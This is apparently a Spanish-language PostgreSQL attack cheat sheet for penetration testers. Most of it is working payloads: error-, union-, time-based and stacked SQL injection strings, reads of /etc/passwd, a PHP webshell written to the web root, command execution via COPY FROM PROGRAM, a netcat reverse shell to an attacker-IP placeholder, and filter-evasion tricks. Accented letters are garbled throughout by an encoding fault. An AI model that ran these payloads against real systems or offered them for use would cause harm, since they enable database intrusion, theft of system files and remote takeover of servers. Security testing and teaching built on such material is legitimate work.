PostgreSQL

Enumeraci贸n

Versi贸n

# Versi贸n
SELECT version()

Usuarios

# Usuario actual
SELECT current_user

Privilegios

# Privilegio de superusuario
SELECT current_setting('is_superuser')

Bases de datos

# Listado de base de datos
SELECT datname FROM pg_database

Tablas

# Tablas de una base de datos
SELECT table_name FROM <database>.information_schema.tables WHERE table_schema='public'

Columnas

# Columnas de una tabla
SELECT column_name,data_type FROM <database>.information_schema.columns WHERE table_name='<table>'

Datos

# Datos de una tabla
SELECT * FROM <table>
SELECT * FROM <database>.<schema>.<table>

Error-based SQLi

# Versi贸n
CAST(version() AS INT)
' AND 1=(SELECT CAST(version() AS INT))
# Listado de base de datos
CAST((SELECT STRING_AGG(datname,',') FROM pg_database LIMIT 1) AS INT)
' AND 1=CAST((SELECT STRING_AGG(datname,',') FROM pg_database LIMIT 1) AS INT)
# Tablas de una base de datos
CAST((SELECT STRING_AGG(table_name,',') FROM <database>.information_schema.tables WHERE table_schema='public' LIMIT 1) AS INT)
' AND 1=CAST((SELECT STRING_AGG(table_name,',') FROM <database>.information_schema.tables WHERE table_schema='public' LIMIT 1) AS INT)
# Columnas de una tabla
CAST((SELECT STRING_AGG(column_name,',') FROM <database>.information_schema.columns WHERE table_name='<table>' LIMIT 1) AS INT)
' AND 1=CAST((SELECT STRING_AGG(column_name,',') FROM <database>.information_schema.columns WHERE table_name='<table>' LIMIT 1) AS INT)
# Datos de una table (Error-based SQLi + Stacked Queries SQLi)
';SELECT CAST(CAST(QUERY_TO_XML('SELECT * FROM <table> LIMIT 3',TRUE,TRUE,'') AS TEXT) AS INT)

Union-based SQLi

Obtener informaci贸n dentro de una sola columna

UNION SELECT columna1 || ' - ' || columna2 || ' - ' || columna3 FROM tabla1-- -

Time-based SQLi

|| (SELECT 1 FROM PG_SLEEP(10))

Stacked Queries SQLi

;SELECT version()
;SELECT * FROM <table>
;INSERT INTO <table> (column1, column2, column3) VALUES (value1, value2, value3)

Lectura y escritura de archivos

Para realizar operaciones de lectura y escritura de archivos mediante el comando COPY, el usuario debe contar con privilegios de superusuario o, alternativamente, poseer los roles pg_read_server_files y pg_write_server_files, respectivamente.

# Privilegio de superusuario
SELECT current_setting('is_superuser')

# Roles pg_read_server_files / pg_write_server_files
SELECT r.rolname, ARRAY(SELECT b.rolname FROM pg_catalog.pg_auth_members m JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid) WHERE m.member = r.oid) AS memberof FROM pg_catalog.pg_roles r WHERE r.rolname='fileuser';

Lectura

SELECT pg_read_file('/etc/passwd')
CREATE TABLE tmp(data TEXT);
COPY tmp FROM '/etc/passwd';
SELECT * FROM tmp;
SELECT * FROM tmp LIMIT 3;
DROP TABLE tmp;

Un inconveniente al usar el comando COPY para leer archivos es que espera que los datos est茅n separados por columnas, usando por defecto el car谩cter de tabulaci贸n \t como delimitador. Sin embargo, se puede cambiar este delimitador por otro car谩cter poco com煤n, como \x07, para evitar errores durante la lectura.

CREATE TABLE tmp(data TEXT);
COPY tmp FROM '/etc/hosts' DELIMITER E'\x07';
SELECT * FROM tmp;
SELECT * FROM tmp LIMIT 3;
DROP TABLE tmp;

Lectura con Large Objects

# Carga de archivo
SELECT lo_import('/etc/passwd');

# Obtener todos los object IDs
SELECT DISTINCT loid FROM pg_largeobject;

# Lectura de archivo
## Opci贸n 1
SELECT lo_get(<object-id>);
## Opci贸n 2
SELECT data FROM pg_largeobject WHERE loid=<object-id> AND pageno=0;
SELECT data FROM pg_largeobject WHERE loid=<object-id> AND pageno=1;
## Conversi贸n de hexadecimal
echo <hexadecimal> | xxd -r -p

Escritura

CREATE TABLE tmp(data TEXT);
COPY tmp FROM '/etc/passwd';
COPY tmp (data) TO '/var/tmp/temp.txt';
DROP TABLE tmp;

Webshell

CREATE TABLE tmp(data TEXT);
INSERT INTO tmp(data) VALUES ('<?php echo system($_GET["cmd"]); ?>');
COPY tmp(data) TO '/var/www/html/webshell.php';

Escritura con Large Objects

split -b 2048 /etc/passwd
xxd -ps -c 9999999999 xaa
xxd -ps -c 9999999999 xab
SELECT lo_create(1337);
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (1337, 0, DECODE('<hexadecimal>','HEX'));
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (1337, 1, DECODE('<hexadecimal>','HEX'));
SELECT lo_export(1337, '/tmp/passwd');
SELECT lo_unlink(1337);
cat /tmp/passwd

Remote Code Execution (RCE)

Para usar COPY con ejecuci贸n de comandos, el usuario debe contar con privilegios de superusuario o tener el rol pg_execute_server_program.

CREATE TABLE tmp(data TEXT);
COPY tmp FROM PROGRAM 'id';
SELECT * FROM tmp;
DROP TABLE tmp;

Reverse shell

Ejecuci贸n de Netcat en m谩quina atacante en modo escucha.

nc -lvnp <listen-port>

Ejecuci贸n de reverse shell.

;CREATE TABLE revshell(data TEXT); COPY revshell FROM PROGRAM 'rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <attacker-IP-address> <listen-port> >/tmp/f';SELECT * FROM revshell; DROP TABLE revshell;-- -

Evasi贸n de filtros

Bypass de filtro de espacio

Usar /**/ en lugar de espacio.

' AND 1=1-- -
'/**/AND/**/1=1-- -

Bypass de filtro de comillas simples (single quotes)

En PostgreSQL los dos signos de d贸lar $$ se utilizan para delimitar cadenas de texto.

' UNION SELECT '1','2','3'-- -
' UNION SELECT $$1$$,$$2$$,$$3$$-- -

脷ltima actualizaci贸n

驴Te fue 煤til?